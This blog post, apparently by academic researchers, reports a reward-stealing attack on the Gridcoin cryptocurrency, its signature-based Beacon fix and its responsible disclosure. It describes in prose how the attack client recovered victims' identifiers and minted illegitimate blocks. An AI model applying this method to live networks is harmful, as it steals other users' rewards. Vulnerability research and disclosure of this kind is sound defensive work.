The Gridcoin attack client made it possible to specify the victim email address, iCPID and target project. All these values can be retrieved from the downloaded blockchain and our previous attack via the reverseCPIDv2 function as shown in Figure 7. The attack client read the iCPID and email address of the victim from a modified configuration file. All other values, for example, RAC or ResearchAge, were pulled from http://cpid.gridcoin.us:5000/get_user.php?cpid=. As soon as all values were received, the client attempted to create a new valid block.


 Fig. 7: Reverse the CPIDv2 calculation to get iCPID and email address

Once a block had been created and confirmed, the attacker received the increased coin reward with zero BOINC contribution done. The attack could only be detected by its victims because an outside user did not know the legitimate Gridcoin addresses a Researcher uses.
All blocks created with our victim's eCPID are shown in Table 2. Illegitimate blocks are highlighted. We were able to mint multiple illegitimate blocks, and thus stealing Research Age from our victim machine R. All nine blocks created and send by our attacker to the Gridcoin network passed the Gridcoin block verification, were confirmed multiple times, and are part of the current Gridcoin blockchain. During our testing timespan of approximately three weeks, the attacker machine was wrongfully rewarded with 72.4 Proof-of-Research generated Gridcoins, without any BOINC work. The results show that the attack is not only theoretically possible, but also very practical, feasible and effective. The attack results can be reproduced with our Gridcoin-Research-Attack client.

 Tab. 2:Blocks minted with the victim's eCPID

The Fix

In order to fix the security issue, we found one solution which does not require any changes to the BOINC source code nor the infrastructure. It is sufficient to change some parts of the already existing Gridcoin Beacon system. Thus, our solution is backwards compatible.
The current Gridcoin client utilizes so called Beacons to register new eCPIDs and stores them as a transaction of 0.0001 Gridcoins in a Superblock which is created every 24 hours. A Beacon encloses the user's personal eCPIDs, a corresponding unused (but irreversible) CPIDv2, and the wallet's main Gridcoin payment address. Once the Superblock is created, the eCPIDs is bound to one Gridcoin payment address. During the block verification process this bond is unfortunately not checked. Furthermore, the existing Beacon system does not use any strong asymmetric cryptography to ensure authenticity and integrity of the broadcasted data. We propose to extend the Beacon system with public key cryptography. In detail, we suggest that a user binds his fresh public key PK_1 to a newly generated eCPID, and then storing them together in a Superblock. An initial Beacon would therefore contain a hashed (e.g. SHA-256) eCPID, the public key, a Nonce, and a cryptographic signature created with the corresponding secret key SK_1 of the public key. This allows only the owner of the secret key to create valid signatures over blocks created with his eCPID. Thus, an adversary first needs to forge a cryptographic signature before he can claim Proof-of-Research work of another Gridcoin user. Thus, he is not capable of stealing the reward of the user.

Beacon to create a eCPID, public/secret key pair bond

For verification purposes nodes fetch the corresponding latest public key from one of the Superblocks. Furthermore, this Beacon structure allows a user to replace his previous public key associated with his eCPID. This is realized by submitting a new Beacon with a new public key PK_2, signed with his old secret key.

Beacon to update a eCPID, public/secret key pair bond

All Beacons in the chain are verifiable and the latest public key is always authentic. The Nonce provide freshness for the signature input, and therefore prevent replay attacks against the Beacon system.
Note that the eCPID needs to be completely unknown to the network, when sending the initial Beacon, for this concept to work as intended. The hash function ensures, that the Beacon does not reveal the fresh eCPID. As a result, an attacker is unable to mint with a eCPID even if he was able to intercept an initial Beacon and replaced the public key and signature with his own parameters, beforehand. This solution does not require any changes in the BOINC source code or the project servers.

Sign a block

In order to claim the Proof-of-Research reward for a newly created block, the Gridcoin minter computes a signature over the hash of the blockheader. Afterwards, he stores the resulting value at the end of the corresponding block in a new field. The private key used for the signature generation must correspond to the advertised public key by the user. It is important to note that the signature value is not part of the Merkle tree, and thus does not change the blockheader. In the end, the signature can then be verified by every other Gridcoin user via the advertised public key corresponding to the eCPID of the Gridcoin minter.

Responsible Disclosure

The attacks and the countermeasures were responsibly disclosed to the Gridcoin developer on the 14th of September, 2016. The developer used our proposed countermeasures and started to implement a new version. Since version 3.5.8.8, which is mandatory for all Gridcoin users, there exists an implementation, which contains countermeasures to our reward stealing attack.
See our next blog post, why Gridcoin is still insecure and should not be used anymore.

Further Reading
A more detailed description of Gridcoin and the attacks will be presented at WOOT'17, the paper is available here.

Authors

Tobias Niemann
Juraj Somorovsky
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